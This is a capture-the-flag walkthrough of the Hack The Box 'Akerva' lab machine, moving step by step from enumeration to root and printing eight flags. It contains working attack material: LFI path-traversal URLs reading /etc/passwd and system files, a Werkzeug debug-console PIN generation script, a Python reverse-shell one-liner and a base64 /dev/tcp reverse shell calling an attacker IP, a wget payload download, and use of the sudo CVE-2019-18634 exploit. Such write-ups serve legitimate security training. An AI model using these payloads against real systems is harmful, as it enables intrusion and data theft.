AKERVA
First, we need to enumerate using nmap. SSH, HTTP default and HTTP custom port 5000 is open.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ nmap -A 10.13.37.11 | tee nmap.log
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 13:32 +0630
Nmap scan report for 10.13.37.11
Host is up (0.28s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 0d:e4:41:fd:9f:a9:07:4d:25:b4:bd:5d:26:cc:4f:da (RSA)
| 256 f7:65:51:e0:39:37:2c:81:7f:b5:55:bd:63:9c:82:b5 (ECDSA)
|_ 256 28:61:d3:5a:b9:39:f2:5b:d7:10:5a:67:ee:81:a8:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.4-alpha-47225
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Root of the Universe – by @lydericlefebvre & @akerva_fr
|_https-redirect: ERROR: Script execution failed (use -d to debug)
2811/tcp filtered gsiftp
5000/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+)
| http-auth:
| HTTP/1.0 401 UNAUTHORIZED\x0D
|_ Basic realm=Authentication Required
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.79 seconds
A quick check to snmp port using nmap. It is open.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/vpn
╰─➤ sudo nmap -sU -p161 10.13.37.11
Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-12 13:40 +0630
Nmap scan report for 10.13.37.11
Host is up (0.28s latency).
PORT STATE SERVICE
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 2.66 seconds
Flag 1 - Plain Sight
Let's enumerate HTTP default port first. When you browse to http://10.13.37.11/, you will see the following webpage.

In the source source of the webpage, you will see first flag.
<div id="sidebar" class="sidebar">
<header id="masthead" class="site-header" role="banner">
<div class="site-branding">
<p class="site-title"><a href="http://10.13.37.11/" rel="home">Root of the Universe</a></p>
<!-- Hello folks! -->
<!-- This machine is powered by @lydericlefebvre from Akerva company. -->
<!-- You have to find 8 flags on this machine. Have a nice root! -->
<!-- By the way, the first flag is: AKERVA{Ikn0w_F0rgoTTEN#CoMmeNts} -->
<p class="site-description">by @lydericlefebvre & @akerva_fr</p>
<button class="secondary-toggle">Menu and widgets</button>
</div><!-- .site-branding -->
</header><!-- .site-header -->
<div id="secondary" class="secondary">
Flag 2 - Take a Look Around
You will check the webpage sub directory using gobuster.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ gobuster -u http://10.13.37.11/ -w /usr/share/wordlists/directory-list-2.3-medium.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.13.37.11/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2022/04/12 13:41:50 Starting gobuster
=====================================================
/wp-content (Status: 301)
/wp-includes (Status: 301)
/dev (Status: 301)
/javascript (Status: 301)
This website is make with wordpress. The only interesting sub directory is /dev directory. Let's browse into this. And then we will see nothing.

So, we will enumerate other port that we saw on nmap udp scan result. You will found the second flag on the snmp result.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/vpn
╰─➤ snmpwalk -v2c -c public 10.13.37.11
iso.3.6.1.2.1.1.1.0 = STRING: "Linux Leakage 4.15.0-72-generic #81-Ubuntu SMP Tue Nov 26 12:20:02 UTC 2019 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (21431561) 2 days, 11:31:55.61
iso.3.6.1.2.1.1.4.0 = STRING: "Me <me@example.org>"
iso.3.6.1.2.1.1.5.0 = STRING: "Leakage"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
---
iso.3.6.1.2.1.25.4.2.1.5.1280 = STRING: "-c /opt/check_backup.sh"
iso.3.6.1.2.1.25.4.2.1.5.1281 = STRING: "-c /opt/check_devSite.sh"
iso.3.6.1.2.1.25.4.2.1.5.1282 = STRING: "/opt/check_backup.sh"
iso.3.6.1.2.1.25.4.2.1.5.1283 = STRING: "/opt/check_devSite.sh"
iso.3.6.1.2.1.25.4.2.1.5.1285 = STRING: "/var/www/html/scripts/backup_every_17minutes.sh AKERVA{IkN0w_SnMP@@@MIsconfigur@T!onS}"
iso.3.6.1.2.1.25.4.2.1.5.1288 = STRING: "/var/www/html/dev/space_dev.py"
iso.3.6.1.2.1.25.4.2.1.5.1292 = STRING: "/var/www/html/dev/space_dev.py"
iso.3.6.1.2.1.25.4.2.1.5.1294 = STRING: "--socket-activation"
iso.3.6.1.2.1.25.4.2.1.5.7456 = ""
iso.3.6.1.2.1.25.4.2.1.5.7617 = STRING: "-c echo L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMy4xNC4yNS85MDkwIDA+JjEK|base64 -d|bash"
iso.3.6.1.2.1.25.4.2.1.5.7620 = ""
iso.3.6.1.2.1.25.4.2.1.5.7621 = STRING: "-i"
iso.3.6.1.2.1.25.4.2.1.5.7632 = STRING: "-c import pty;pty.spawn('/bin/bash')"
---
Flag 3 - Dead Poets
You already seen /var/www/html/dev/space_dev.py
at the previous scan result. Let's call from web browser. You will see nothing. How about /scripts/backup_every_17minutes.sh
? Nothing seen in the browser. Let's intercept using burp. When you are with GET method, you got permission error. I change GET to POST method. And then you will see the source code of backup_every_17minutes.sh.

Here is the source code of backup_every_17minutes.sh.
#!/bin/bash
#
# This script performs backups of production and development websites.
# Backups are done every 17 minutes.
#
# AKERVA{IKNoW###VeRbTamper!nG_==}
#
SAVE_DIR=/var/www/html/;
while true
do
ARCHIVE_NAME=backup_$(date +%Y%m%d%H%M%S)
echo "Erasing old backups..."
rm -rf $SAVE_DIR/*
echo "Backuping..."
zip -r $SAVE_DIR/$ARCHIVE_NAME /var/www/html/*
echo "Done..."
sleep 1020
done
Flag 4 - Now You See Me
The script is simple. The name conversation of the backup file is backup_(year month date hour minute second) and save it to /var/www/html/backups. The simple example is backup_20220102010101.zip. So, we need to know the current uptime.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ curl http://10.13.37.11/ --head
HTTP/1.1 200 OK
Date: Tue, 12 Apr 2022 18:09:37 GMT
Server: Apache/2.4.29 (Ubuntu)
X-Pingback: http://10.13.37.11/xmlrpc.php
Link: <http://10.13.37.11/index.php/wp-json/>; rel="https://api.w.org/"
Link: <http://10.13.37.11/>; rel=shortlink
Content-Type: text/html; charset=UTF-8
We don't know minute and second exactly. So, some of part we know is backup_2022041218????.zip. Generate 4 digits number fuzz it.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ seq 1000 9999 > 4digits.txt
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ wfuzz -u http://10.13.37.11/backups/backup_2022041218FUZZ.zip -w 4digits.txt --hc 404
********************************************************
* Wfuzz 2.4.5 - The Web Fuzzer *
********************************************************
Target: http://10.13.37.11/backups/backup_2022041218FUZZ.zip
Total requests: 9000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000721: 200 82458 808129 20937178 "1720"
L W Ch
000005928: 404 9 L 31 W 273 Ch "6927"
Download the file using curl.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress
╰─➤ curl http://10.13.37.11/backups/backup_20220412181720.zip -o file.zip 23 ↵
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 21.0M 100 21.0M 0 0 539k 0 0:00:39 0:00:39 --:--:-- 771k
When you unzip the file, var directory will extracted. In /var/www/www/dev, you will find a python script file called space_dev.py.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html
╰─➤ cat dev/space_dev.py
#!/usr/bin/python
from flask import Flask, request
from flask_httpauth import HTTPBasicAuth
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
auth = HTTPBasicAuth()
users = {
"aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}
@auth.verify_password
def verify_password(username, password):
if username in users:
return check_password_hash(users.get(username), password)
return False
@app.route('/')
@auth.login_required
def hello_world():
return 'Hello, World!'
# TODO
@app.route('/download')
@auth.login_required
def download():
return downloaded_file
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
Flag 5 - Open Book
Here is the vulnerable part of the code. We can called file directory with filename parameter at port 5000.
@app.route("/file")
@auth.login_required
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return 'error'
if __name__ == '__main__':
print(app)
print(getattr(app, '__name__', getattr(app.__class__, '__name__')))
app.run(host='0.0.0.0', port='5000', debug = True)
Let's browser it http://10.13.37.11:5000/. It will tell you username and password.

Here is the username and password part of the code.
users = {
"aas": generate_password_hash("AKERVA{1kn0w_H0w_TO_$Cr1p_T_$$$$$$$$}")
}
When successful the webpage only say Hello, World!
. Let's call the parameter. You can read /etc/passwd through LFI http://10.13.37.11:5000/file?filename=../../../../etc/passwd.

You can read the flag at /home/aas/flag.txt http://10.13.37.11:5000/file?filename=../../../../home/aas/flag.txt

Flag 6 - Say Friend and Enter
You can't read id_rsa through LFI http://10.13.37.11:5000/file?filename=../../../../home/aas/.ssh/id_rsa. Just only got error. This part we got confuse. So, we will find sub directory on this webpage.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html
╰─➤ gobuster -u http://10.13.37.11:5000/ -w /usr/share/wordlists/directory-list-2.3-medium.txt
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.13.37.11:5000/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2022/04/13 00:40:46 Starting gobuster
=====================================================
/console (Status: 200)
We found /console directory. In this diretory, the webpage tell use pin.

Let's find exploit relate with pin https://www.daehee.com/werkzeug-console-pin-exploit/. We need machine-id and mac-address.
mac-address - http://10.13.37.11:5000/file?filename=../../../../sys/class/net/ens33/address (00:50:56:b9:6e:8f)
machine-id - http://10.13.37.11:5000/file?filename=../../../../etc/machine-id (258f132cd7e647caaf5510e3aca997c1)
Let's generate mac-address through python.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html
╰─➤ python
Python 2.7.18 (default, Mar 8 2021, 13:02:45)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print(0x5056b96e8f)
345052376719
The complete exploit.
import hashlib
from itertools import chain
probably_public_bits = [
'aas',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]
private_bits = [
'345052376719', # str(uuid.getnode()), /sys/class/net/ens33/address
'258f132cd7e647caaf5510e3aca997c1' # get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
Execute the script and you will get pin number. And then you will find a console.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.14.3",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
In netcat session, we got a reverse shell.

In this aas directory, we found hidden flag.
$ ls -al
total 28
drwxr-xr-x 3 aas aas 4096 Feb 9 2020 .
drwxr-xr-x 3 root root 4096 Feb 9 2020 ..
-rw------- 1 root root 0 Dec 7 2019 .bash_history
-rw-r--r-- 1 aas aas 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 aas aas 3771 Apr 4 2018 .bashrc
-r-------- 1 aas aas 21 Feb 9 2020 flag.txt
-rw-r--r-- 1 root root 38 Feb 9 2020 .hiddenflag.txt
dr-xr-x--- 2 aas aas 4096 Feb 10 2020 .ssh
$ cat .hiddenflag.txt
AKERVA{IkNOW#=ByPassWerkZeugPinC0de!}
Flag 7 - Super Mushroom
Let's check sudo version.
$ sudo -V
sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
This sudo version is vulnerable and here is poc https://github.com/saleemrashid/sudo-cve-2019-18634
$ wget http://10.13.14.3:1234/exploit
wget http://10.13.14.3:1234/exploit
--2022-04-12 19:21:54-- http://10.13.14.3:1234/exploit
Connecting to 10.13.14.3:1234... connected.
HTTP request sent, awaiting response... 404 File not found
2022-04-12 19:21:54 ERROR 404: File not found.
$ chmod 777 exploit
chmod 777 exploit
$ ./exploit
./exploit
[sudo] password for aas:
Speak English you fool --- there are no subtitles in this scene.
# whoami
whoami
root
# dir
dir
flag.txt secured_note.md
# cat flag.txt
cat flag.txt
AKERVA{IkNow_Sud0_sUckS!}
Flag 8 - Little Secret
We found secured_note.md file in root directory.
# cat secured_note.md
cat secured_note.md
R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNL
UkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVM
U1BNSUhITU9EQVVLSEUK
@AKERVA_FR | @lydericlefebvre
This is base64 and when decode it, we will find something.
╭─hnl@hnl ~/Desktop/ctf/hackthebox/fortress/var/www/html
╰─➤ echo 'R09BSEdIRUVHU0FFRUhBQ0VHVUxSRVBFRUVDRU9LTUtFUkZTRVNGUkxLRVJVS1RTVlBNU1NOSFNLUkZGQUdJQVBWRVRDTk1ETFZGSERBT0dGTEFGR1NLRVVMTVZPT1dXQ0FIQ1JGVlZOVkhWQ01TWUVMU1BNSUhITU9EQVVLSEUK' | base64 -d
GOAHGHEEGSAEEHACEGULREPEEECEOKMKERFSESFRLKERUKTSVPMSSNHSKRFFAGIAPVETCNMDLVFHDAOGFLAFGSKEULMVOOWWCAHCRFVVNVHVCMSYELSPMIHHMODAUKHE
It is vigenere cipher and AKERVA is the key.
AKERVA{IKNOOOWVIGEEENERRRE}
Last updated
Was this helpful?